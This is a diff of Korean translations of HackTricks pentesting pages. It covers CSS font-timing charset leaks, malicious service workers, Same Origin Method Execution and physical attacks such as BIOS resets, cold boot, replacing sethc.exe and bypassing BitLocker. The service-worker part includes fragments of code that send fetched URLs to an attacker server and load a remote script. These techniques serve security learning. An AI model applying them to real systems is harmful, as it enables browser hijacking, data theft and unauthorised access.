### 텍스트 노드 유출 (III): 수백 개의 로컬 "폰트" 로딩 시간으로 charset 유출 (외부 자산 필요 없음) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
### 텍스트 노드 유출 (III): 수백 개의 로컬 "폰트" 로딩 시간으로 charset 유출 (외부 자산 필요 없음) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||||
|
|
||||||
**참고:** 이는 [이 글에서 실패한 해결책으로 언급됩니다](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
**참고:** 이는 [이 글에서 실패한 해결책으로 언급됩니다](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||||
|
|
||||||
이 경우, 일치가 발생할 때 **CSS를 사용하여 동일한 출처에서 수백 개의 가짜 폰트를 로드하도록 지시할 수 있습니다**. 이렇게 하면 **소요 시간을 측정**하고 문자 출현 여부를 확인할 수 있습니다:
|
이 경우, 일치하는 경우 **CSS를 사용하여 동일한 출처에서 수백 개의 가짜 폰트를 로드하도록 지시할 수 있습니다**. 이렇게 하면 **시간을 측정**하고 문자 발생 여부를 확인할 수 있습니다:
|
||||||
```css
|
```css
|
||||||
@font-face {
|
@font-face {
|
||||||
font-family: "A1";
|
font-family: "A1";
|
||||||
|
@ -455,7 +448,7 @@ browser.get(url)
|
||||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||||
time.sleep(30)
|
time.sleep(30)
|
||||||
```
|
```
|
||||||
그래서, 폰트가 일치하지 않으면 봇을 방문할 때 응답 시간은 약 30초가 될 것으로 예상됩니다. 그러나 폰트가 일치하면 폰트를 가져오기 위해 여러 요청이 전송되어 네트워크에 지속적인 활동이 발생합니다. 결과적으로 중지 조건을 만족하고 응답을 받는 데 더 오랜 시간이 걸립니다. 따라서 응답 시간은 폰트 일치 여부를 판단하는 지표로 사용될 수 있습니다.
|
그래서, 글꼴이 일치하지 않으면 봇을 방문할 때 응답 시간은 약 30초가 될 것으로 예상됩니다. 그러나 글꼴이 일치하면 글꼴을 가져오기 위해 여러 요청이 전송되어 네트워크에 지속적인 활동이 발생합니다. 결과적으로 중지 조건을 만족하고 응답을 받는 데 더 오랜 시간이 걸립니다. 따라서 응답 시간은 글꼴 일치 여부를 판단하는 지표로 사용될 수 있습니다.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
|
@ -464,12 +457,6 @@ time.sleep(30)
|
||||||
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||||
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -12,19 +12,11 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 기본 정보
|
## 기본 정보
|
||||||
|
|
||||||
**서비스 워커**는 웹 페이지와 분리되어 브라우저에서 백그라운드에서 실행되는 스크립트로, 웹 페이지나 사용자 상호작용이 필요하지 않은 기능을 가능하게 하여 **오프라인 및 백그라운드 처리** 기능을 향상시킵니다. 서비스 워커에 대한 자세한 정보는 [여기](https://developers.google.com/web/fundamentals/primers/service-workers)에서 확인할 수 있습니다. 취약한 웹 도메인 내에서 서비스 워커를 악용함으로써 공격자는 해당 도메인 내의 모든 페이지에서 피해자의 상호작용을 제어할 수 있습니다.
|
**서비스 워커**는 웹 페이지와 분리되어 브라우저에서 백그라운드에서 실행되는 스크립트로, 웹 페이지나 사용자 상호작용이 필요하지 않은 기능을 가능하게 하여 **오프라인 및 백그라운드 처리** 기능을 향상시킵니다. 서비스 워커에 대한 자세한 정보는 [여기](https://developers.google.com/web/fundamentals/primers/service-workers)에서 확인할 수 있습니다. 취약한 웹 도메인 내에서 서비스 워커를 악용함으로써 공격자는 해당 도메인 내의 모든 페이지에서 피해자의 상호작용을 제어할 수 있습니다.
|
||||||
|
@ -45,7 +37,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
* 서버에 **임의의 JS** 파일을 **업로드**할 수 있는 방법과 업로드된 JS 파일의 **서비스 워커를 로드할 수 있는 XSS**
|
* 서버에 **임의의 JS** 파일을 **업로드**할 수 있는 방법과 업로드된 JS 파일의 **서비스 워커를 로드할 수 있는 XSS**
|
||||||
* **출력을 조작할 수 있는** **취약한 JSONP 요청**(임의의 JS 코드로)과 **악성 서비스 워커를 로드할** **페이로드로 JSONP를 로드할 수 있는 XSS**
|
* **출력을 조작할 수 있는** **취약한 JSONP 요청**(임의의 JS 코드로)과 **악성 서비스 워커를 로드할** **페이로드로 JSONP를 로드할 수 있는 XSS**
|
||||||
|
|
||||||
다음 예제에서는 `fetch` 이벤트를 수신하고 **가져온 각 URL을 공격자의 서버로 전송하는** **새로운 서비스 워커를 등록하는 코드**를 제시하겠습니다(이 코드는 **서버에 업로드**하거나 **취약한 JSONP** 응답을 통해 로드해야 하는 코드입니다):
|
다음 예제에서는 `fetch` 이벤트를 수신하고 **각 가져온 URL을 공격자의 서버로 전송하는** **새 서비스 워커를 등록하는 코드**를 제시하겠습니다(이 코드는 **서버**에 **업로드**하거나 **취약한 JSONP** 응답을 통해 로드해야 하는 코드입니다):
|
||||||
```javascript
|
```javascript
|
||||||
self.addEventListener('fetch', function(e) {
|
self.addEventListener('fetch', function(e) {
|
||||||
e.respondWith(caches.match(e.request).then(function(response) {
|
e.respondWith(caches.match(e.request).then(function(response) {
|
||||||
|
@ -102,13 +94,13 @@ self.importScripts(host + "/sw_extra.js");
|
||||||
```
|
```
|
||||||
### DOM 클로버링을 이용한 경우
|
### DOM 클로버링을 이용한 경우
|
||||||
|
|
||||||
DOM 클로버링이 무엇인지에 대한 더 많은 정보는 다음을 확인하세요:
|
DOM 클로버링이 무엇인지에 대한 자세한 정보는 다음을 확인하세요:
|
||||||
|
|
||||||
{% content-ref url="dom-clobbering.md" %}
|
{% content-ref url="dom-clobbering.md" %}
|
||||||
[dom-clobbering.md](dom-clobbering.md)
|
[dom-clobbering.md](dom-clobbering.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
SW가 **`importScripts`**를 호출하는 URL/도메인이 **HTML 요소 내부에** 있는 경우, **DOM 클로버링을 통해 이를 수정하여 SW가 **자신의 도메인에서 스크립트를 로드하도록** 할 수 있습니다**.
|
SW가 **`importScripts`**를 호출하는 URL/도메인이 **HTML 요소 내부에** 있을 경우, **DOM 클로버링을 통해 이를 수정하여 SW가** **자신의 도메인에서 스크립트를 로드하도록** 할 수 있습니다.
|
||||||
|
|
||||||
이와 관련된 예시는 참조 링크를 확인하세요.
|
이와 관련된 예시는 참조 링크를 확인하세요.
|
||||||
|
|
||||||
|
@ -116,23 +108,17 @@ SW가 **`importScripts`**를 호출하는 URL/도메인이 **HTML 요소 내부
|
||||||
|
|
||||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,41 +15,27 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Same Origin Method Execution
|
## Same Origin Method Execution
|
||||||
|
|
||||||
페이지에서 제한된 자바스크립트를 실행할 수 있는 경우가 있습니다. 예를 들어, [**실행될 콜백 값을 제어할 수 있는 경우**](./#javascript-function)입니다.
|
페이지에서 제한된 자바스크립트를 실행할 수 있는 경우가 있습니다. 예를 들어, [**실행될 콜백 값을 제어할 수 있는 경우**](./#javascript-function)입니다.
|
||||||
|
|
||||||
이런 경우, 할 수 있는 가장 좋은 일 중 하나는 **DOM에 접근하여** 그곳에서 찾을 수 있는 어떤 **민감한 작업을 호출하는 것**입니다 (예: 버튼 클릭). 그러나 일반적으로 이 취약점은 **DOM에 흥미로운 것이 없는 작은 엔드포인트에서 발견됩니다**.
|
이 경우, 할 수 있는 가장 좋은 일 중 하나는 **DOM에 접근하여 그곳에서 찾을 수 있는 어떤 민감한 작업을 호출하는 것**입니다(예: 버튼 클릭). 그러나 일반적으로 이 취약점은 **DOM에 흥미로운 것이 없는 작은 엔드포인트에서 발견됩니다**.
|
||||||
|
|
||||||
이런 시나리오에서 이 공격은 매우 유용합니다. 그 이유는 **같은 도메인의 다른 페이지에서 DOM 내의 제한된 JS 실행을 악용할 수 있는** 것이기 때문입니다.
|
이러한 시나리오에서 이 공격은 매우 유용합니다. 그 이유는 **같은 도메인의 다른 페이지에서 DOM 내의 제한된 JS 실행을 남용할 수 있는** 것이기 때문입니다.
|
||||||
|
|
||||||
기본적으로 공격 흐름은 다음과 같습니다:
|
기본적으로 공격 흐름은 다음과 같습니다:
|
||||||
|
|
||||||
* **악용할 수 있는 콜백을 찾습니다** (잠재적으로 \[\w\\.\_]로 제한됨).
|
* **남용할 수 있는 콜백을 찾습니다** (잠재적으로 \[\w\\.\_]로 제한됨).
|
||||||
* 제한이 없고 어떤 JS도 실행할 수 있다면, 일반 XSS처럼 이를 악용할 수 있습니다.
|
* 제한이 없고 어떤 JS도 실행할 수 있다면, 일반 XSS처럼 남용할 수 있습니다.
|
||||||
* **피해자가 공격자가 제어하는 페이지를 열도록 만듭니다.**
|
* **피해자가 공격자가 제어하는 페이지를 열도록 만듭니다.**
|
||||||
* **페이지가 다른 창에서 열립니다** (새 창은 초기 창을 참조하는 **`opener`** 객체를 가집니다).
|
* **페이지가 다른 창에서 스스로 열립니다** (새 창은 초기 페이지를 참조하는 **`opener`** 객체를 가집니다).
|
||||||
* **초기 페이지**는 **흥미로운 DOM**이 위치한 **페이지**를 로드합니다.
|
* **초기 페이지**는 **흥미로운 DOM**이 위치한 **페이지**를 로드합니다.
|
||||||
* **두 번째 페이지**는 **콜백을 악용하여 취약한 페이지를 로드하고** **`opener`** 객체를 사용하여 **초기 페이지에서 어떤 작업을 접근하고 실행합니다** (이제 흥미로운 DOM을 포함하고 있습니다).
|
* **두 번째 페이지**는 **콜백을 남용하는 취약한 페이지를 로드하고** **`opener`** 객체를 사용하여 **초기 페이지에서 어떤 작업을 접근하고 실행합니다** (이제 흥미로운 DOM을 포함하고 있습니다).
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
초기 페이지가 두 번째 페이지를 생성한 후 새 URL에 접근하더라도, **두 번째 페이지의 `opener` 객체는 여전히 새 DOM에서 첫 번째 페이지에 대한 유효한 참조입니다**.
|
초기 페이지가 두 번째 페이지를 생성한 후 새 URL에 접근하더라도, **두 번째 페이지의 `opener` 객체는 새 DOM에서 첫 번째 페이지에 대한 유효한 참조입니다**.
|
||||||
|
|
||||||
또한, 두 번째 페이지가 opener 객체를 사용할 수 있으려면 **두 페이지 모두 같은 출처에 있어야 합니다**. 이것이 이 취약점을 악용하기 위해 **같은 출처에서 XSS를 찾아야 하는 이유입니다**.
|
또한, 두 번째 페이지가 opener 객체를 사용할 수 있으려면 **두 페이지 모두 같은 출처에 있어야 합니다**. 이것이 이 취약점을 남용하기 위해 **같은 출처의 XSS를 찾아야 하는 이유입니다**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Exploitation
|
### Exploitation
|
||||||
|
@ -60,8 +46,8 @@ WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한
|
||||||
### Example
|
### Example
|
||||||
|
|
||||||
* 취약한 예제를 [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)에서 찾을 수 있습니다.
|
* 취약한 예제를 [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)에서 찾을 수 있습니다.
|
||||||
* 이 예제에서 서버는 **자바스크립트 코드를 생성하고** 이를 **콜백 매개변수의 내용에 따라** HTML에 추가하고 있습니다: `<script>opener.{callbacl_content}</script>` . 그래서 이 예제에서는 `opener`의 사용을 명시적으로 지시할 필요가 없습니다.
|
* 이 예제에서 서버는 **자바스크립트 코드를 생성하고** **콜백 매개변수의 내용에 따라** HTML에 추가하고 있습니다: `<script>opener.{callbacl_content}</script>` . 그래서 이 예제에서는 `opener`의 사용을 명시적으로 나타낼 필요가 없습니다.
|
||||||
* 이 CTF 작성물도 확인하세요: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
|
* 이 CTF 작성도 확인하세요: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
|
|
|
@ -15,25 +15,11 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## BIOS 비밀번호 복구 및 시스템 보안
|
## BIOS 비밀번호 복구 및 시스템 보안
|
||||||
|
|
||||||
**BIOS 초기화**는 여러 방법으로 수행할 수 있습니다. 대부분의 마더보드는 **배터리**를 포함하고 있으며, 이를 약 **30분** 동안 제거하면 비밀번호를 포함한 BIOS 설정이 초기화됩니다. 또는 **마더보드의 점퍼**를 조정하여 특정 핀을 연결함으로써 이러한 설정을 초기화할 수 있습니다.
|
**BIOS 초기화**는 여러 방법으로 수행할 수 있습니다. 대부분의 마더보드는 **배터리**를 포함하고 있으며, 이를 약 **30분** 동안 제거하면 비밀번호를 포함한 BIOS 설정이 초기화됩니다. 또는 **마더보드의 점퍼**를 조정하여 특정 핀을 연결함으로써 이러한 설정을 초기화할 수 있습니다.
|
||||||
|
|
||||||
하드웨어 조정이 불가능하거나 실용적이지 않은 경우, **소프트웨어 도구**가 해결책을 제공합니다. **Kali Linux**와 같은 배포판으로 **Live CD/USB**에서 시스템을 실행하면 **_killCmos_** 및 **_CmosPWD_**와 같은 도구에 접근할 수 있어 BIOS 비밀번호 복구를 도와줍니다.
|
하드웨어 조정이 불가능하거나 실용적이지 않은 상황에서는 **소프트웨어 도구**가 해결책을 제공합니다. **Kali Linux**와 같은 배포판으로 **Live CD/USB**에서 시스템을 실행하면 **_killCmos_** 및 **_CmosPWD_**와 같은 도구에 접근할 수 있어 BIOS 비밀번호 복구를 도와줍니다.
|
||||||
|
|
||||||
BIOS 비밀번호가 알려지지 않은 경우, 비밀번호를 **세 번** 잘못 입력하면 일반적으로 오류 코드가 발생합니다. 이 코드는 [https://bios-pw.org](https://bios-pw.org)와 같은 웹사이트에서 사용 가능한 비밀번호를 검색하는 데 사용할 수 있습니다.
|
BIOS 비밀번호가 알려지지 않은 경우, 비밀번호를 **세 번** 잘못 입력하면 일반적으로 오류 코드가 발생합니다. 이 코드는 [https://bios-pw.org](https://bios-pw.org)와 같은 웹사이트에서 사용 가능한 비밀번호를 검색하는 데 사용할 수 있습니다.
|
||||||
|
|
||||||
|
@ -45,7 +31,7 @@ BIOS 비밀번호가 알려지지 않은 경우, 비밀번호를 **세 번** 잘
|
||||||
|
|
||||||
### RAM 분석 및 콜드 부트 공격
|
### RAM 분석 및 콜드 부트 공격
|
||||||
|
|
||||||
RAM은 전원이 차단된 후 **1~2분** 동안 데이터를 유지합니다. 이 지속성은 액체 질소와 같은 차가운 물질을 적용하여 **10분**으로 연장할 수 있습니다. 이 연장된 기간 동안 **메모리 덤프**를 생성하여 **dd.exe** 및 **volatility**와 같은 도구로 분석할 수 있습니다.
|
RAM은 전원이 차단된 후 잠시 동안 데이터를 유지하며, 보통 **1~2분** 동안 지속됩니다. 이 지속성을 **액체 질소**와 같은 차가운 물질을 적용하여 **10분**으로 연장할 수 있습니다. 이 연장된 기간 동안 **메모리 덤프**를 생성하여 **dd.exe** 및 **volatility**와 같은 도구로 분석할 수 있습니다.
|
||||||
|
|
||||||
### 직접 메모리 접근(DMA) 공격
|
### 직접 메모리 접근(DMA) 공격
|
||||||
|
|
||||||
|
@ -55,14 +41,14 @@ RAM은 전원이 차단된 후 **1~2분** 동안 데이터를 유지합니다.
|
||||||
|
|
||||||
**_sethc.exe_** 또는 **_Utilman.exe_**와 같은 시스템 바이너리를 **_cmd.exe_**의 복사본으로 변경하면 시스템 권한으로 명령 프롬프트에 접근할 수 있습니다. **chntpw**와 같은 도구를 사용하여 Windows 설치의 **SAM** 파일을 편집하여 비밀번호를 변경할 수 있습니다.
|
**_sethc.exe_** 또는 **_Utilman.exe_**와 같은 시스템 바이너리를 **_cmd.exe_**의 복사본으로 변경하면 시스템 권한으로 명령 프롬프트에 접근할 수 있습니다. **chntpw**와 같은 도구를 사용하여 Windows 설치의 **SAM** 파일을 편집하여 비밀번호를 변경할 수 있습니다.
|
||||||
|
|
||||||
**Kon-Boot**는 비밀번호를 알지 못하고도 Windows 시스템에 로그인할 수 있도록 Windows 커널이나 UEFI를 일시적으로 수정하는 도구입니다. 더 많은 정보는 [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)에서 확인할 수 있습니다.
|
**Kon-Boot**는 비밀번호를 알지 못해도 Windows 시스템에 로그인할 수 있도록 Windows 커널 또는 UEFI를 일시적으로 수정하는 도구입니다. 더 많은 정보는 [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)에서 확인할 수 있습니다.
|
||||||
|
|
||||||
### Windows 보안 기능 처리
|
### Windows 보안 기능 처리
|
||||||
|
|
||||||
#### 부팅 및 복구 단축키
|
#### 부팅 및 복구 단축키
|
||||||
|
|
||||||
- **Supr**: BIOS 설정에 접근합니다.
|
- **Supr**: BIOS 설정에 접근합니다.
|
||||||
- **F8**: 복구 모드에 들어갑니다.
|
- **F8**: 복구 모드로 들어갑니다.
|
||||||
- Windows 배너 후 **Shift**를 누르면 자동 로그인을 우회할 수 있습니다.
|
- Windows 배너 후 **Shift**를 누르면 자동 로그인을 우회할 수 있습니다.
|
||||||
|
|
||||||
#### BAD USB 장치
|
#### BAD USB 장치
|
||||||
|
@ -75,23 +61,11 @@ RAM은 전원이 차단된 후 **1~2분** 동안 데이터를 유지합니다.
|
||||||
|
|
||||||
### BitLocker 암호화 우회
|
### BitLocker 암호화 우회
|
||||||
|
|
||||||
BitLocker 암호화는 **복구 비밀번호**가 메모리 덤프 파일(**MEMORY.DMP**) 내에서 발견될 경우 우회할 수 있습니다. 이를 위해 **Elcomsoft Forensic Disk Decryptor** 또는 **Passware Kit Forensic**와 같은 도구를 사용할 수 있습니다.
|
**MEMORY.DMP** 파일 내에서 **복구 비밀번호**를 찾으면 BitLocker 암호화를 우회할 수 있습니다. 이를 위해 **Elcomsoft Forensic Disk Decryptor** 또는 **Passware Kit Forensic**와 같은 도구를 사용할 수 있습니다.
|
||||||
|
|
||||||
### 복구 키 추가를 위한 사회 공학
|
### 복구 키 추가를 위한 사회 공학
|
||||||
|
|
||||||
새로운 BitLocker 복구 키는 사회 공학 전술을 통해 추가할 수 있으며, 사용자가 새로운 복구 키를 추가하는 명령을 실행하도록 설득하여 복구 키를 0으로 구성하여 복호화 과정을 단순화할 수 있습니다.
|
사회 공학 전술을 통해 새로운 BitLocker 복구 키를 추가할 수 있으며, 사용자가 새로운 복구 키를 추가하는 명령을 실행하도록 설득하여 복구 키를 0으로 구성함으로써 복호화 과정을 단순화할 수 있습니다.
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Malware에서 사용되는 일반적인 API
|
# 악성코드에서 사용되는 일반적인 API
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -10,19 +10,11 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
